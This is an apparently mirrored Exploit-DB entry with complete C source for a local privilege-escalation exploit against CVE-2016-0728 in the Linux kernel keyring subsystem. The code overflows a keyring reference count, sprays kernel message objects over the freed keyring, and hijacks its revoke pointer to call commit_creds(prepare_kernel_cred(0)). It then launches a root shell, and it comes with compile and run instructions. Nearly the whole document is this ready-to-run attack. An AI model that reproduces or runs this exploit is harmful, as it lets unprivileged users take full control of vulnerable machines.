Linux Kernel 4.4.1 – REFCOUNT Overflow Use-After-Free in Keyrings Local Privilege Escalation (2)

  • 作者: Federico Bento
    日期: 2016-01-19
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/40003/
  • /*
    # Exploit Title: Linux kernel REFCOUNT overflow/Use-After-Free in keyrings
    # Date: 19/1/2016
    # Exploit Author: Perception Point Team
    # CVE : CVE-2016-0728
    */
    
    /* CVE-2016-0728 local root exploit
     modified by Federico Bento to read kernel symbols from /proc/kallsyms
     props to grsecurity/PaX for preventing this in so many ways
    
     $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall
     $ ./cve_2016_072 PP_KEY */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/types.h>
    #include <keyutils.h>
    #include <unistd.h>
    #include <time.h>
    #include <unistd.h>
    
    #include <sys/ipc.h>
    #include <sys/msg.h>
    
    typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
    typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
    _commit_creds commit_creds;
    _prepare_kernel_cred prepare_kernel_cred;
    
    #define STRUCT_LEN (0xb8 - 0x30)
    #define COMMIT_CREDS_ADDR (0xffffffff810bb050)
    #define PREPARE_KERNEL_CREDS_ADDR (0xffffffff810bb370)
    
    
    
    struct key_type {
    char * name;
    size_t datalen;
    void * vet_description;
    void * preparse;
    void * free_preparse;
    void * instantiate;
    void * update;
    void * match_preparse;
    void * match_free;
    void * revoke;
    void * destroy;
    };
    
    /* thanks spender - Federico Bento */
    static unsigned long get_kernel_sym(char *name)
    {
    FILE *f;
    unsigned long addr;
    char dummy;
    char sname[256];
    int ret;
    
    f = fopen("/proc/kallsyms", "r");
    if (f == NULL) {
    fprintf(stdout, "Unable to obtain symbol listing!\n");
    exit(0);
    }
    
    ret = 0;
    while(ret != EOF) {
    ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
    if (ret == 0) {
    fscanf(f, "%s\n", sname);
    continue;
    }
    if (!strcmp(name, sname)) {
    fprintf(stdout, "[+] Resolved %s to %p\n", name, (void *)addr);
    fclose(f);
    return addr;
    }
    }
    
    fclose(f);
    return 0;
    }
    
    void userspace_revoke(void * key) {
    commit_creds(prepare_kernel_cred(0));
    }
    
    int main(int argc, const char *argv[]) {
    const char *keyring_name;
    size_t i = 0;
    unsigned long int l = 0x100000000/2;
    key_serial_t serial = -1;
    pid_t pid = -1;
    struct key_type * my_key_type = NULL;
    
    struct {
    long mtype;
    char mtext[STRUCT_LEN];
    } msg = {0x4141414141414141, {0}};
    int msqid;
    
    if (argc != 2) {
    puts("usage: ./keys <key_name>");
    return 1;
    }
    
    printf("[+] uid=%d, euid=%d\n", getuid(), geteuid());
    commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
    prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");
    if(commit_creds == NULL || prepare_kernel_cred == NULL) {
    commit_creds = (_commit_creds)COMMIT_CREDS_ADDR;
    prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CREDS_ADDR;
    if(commit_creds == (_commit_creds)0xffffffff810bb050 || prepare_kernel_cred == (_prepare_kernel_cred)0xffffffff810bb370)
    puts("[-] You probably need to change the address of commit_creds and prepare_kernel_cred in source");
    }
    
    my_key_type = malloc(sizeof(*my_key_type));
    
    my_key_type->revoke = (void*)userspace_revoke;
    memset(msg.mtext, 'A', sizeof(msg.mtext));
    
    // key->uid
    *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
    //key->perm
    *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
    
    //key->type
    *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
    
    if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
     perror("msgget");
    exit(1);
    }
    
    keyring_name = argv[1];
    
    /* Set the new session keyring before we start */
    
    serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
    if (serial < 0) {
    perror("keyctl");
    return -1;
    }
    
    if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
    perror("keyctl");
    return -1;
    }
    
    
    puts("[+] Increfing...");
    for (i = 1; i < 0xfffffffd; i++) {
    if (i == (0xffffffff - l)) {
     l = l/2;
    sleep(5);
    }
    if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
    perror("[-] keyctl");
    return -1;
    }
    }
    sleep(5);
    /* here we are going to leak the last references to overflow */
    for (i=0; i<5; ++i) {
    if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
    perror("[-] keyctl");
    return -1;
    }
    }
    
    puts("[+] Finished increfing");
    puts("[+] Forking...");
    /* allocate msg struct in the kernel rewriting the freed keyring object */
    for (i=0; i<64; i++) {
    pid = fork();
    if (pid == -1) {
    perror("[-] fork");
    return -1;
    }
    
    if (pid == 0) {
    sleep(2);
    if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
    perror("[-] msgget");
    exit(1);
    }
    for (i = 0; i < 64; i++) {
    if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
    perror("[-] msgsnd");
    exit(1);
    }
    }
    sleep(-1);
    exit(1);
    }
    }
    
    puts("[+] Finished forking");
    sleep(5);
    
    /* call userspace_revoke from kernel */
    puts("[+] Caling revoke...");
    if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
    perror("[+] keyctl_revoke");
    }
    
    printf("uid=%d, euid=%d\n", getuid(), geteuid());
    execl("/bin/sh", "/bin/sh", NULL);
    
    return 0;
    }